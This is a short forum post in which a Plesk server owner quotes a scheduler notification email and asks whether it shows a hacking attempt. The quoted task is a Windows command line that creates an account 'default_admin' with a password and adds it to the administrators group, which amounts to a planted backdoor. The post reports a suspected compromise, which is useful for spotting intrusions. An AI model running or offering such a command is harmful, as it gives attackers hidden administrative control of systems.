Getting lots of Plesk Scheduler notification emails

[John_A]

Hi All,

I've been receiving several emails like the one below

> From: XXXXX
> To: XXXXX
> Date: Fri, 25 Apr 2014 17:56:00 -0500
> Subject: The Plesk Scheduler notification
>
> User: XXXXXXX
> Running task: C:\windows\system32\cmd.exe /c net user default_admin \zkmW0AtG5gijL /add & net localgroup administrators default_admin /add
> Started: Fri Apr 25 17:56:00 2014
> The task output is attached to the e-mail
> Ended with code 2: Fri Apr 25 17:56:00 2014

Further checking a Scheduled task is running in Plesk which is a creating a admin user "default_admin" with password "\zkmW0AtG5gijL" in my server. Is this a hacking attempt?.

Please help.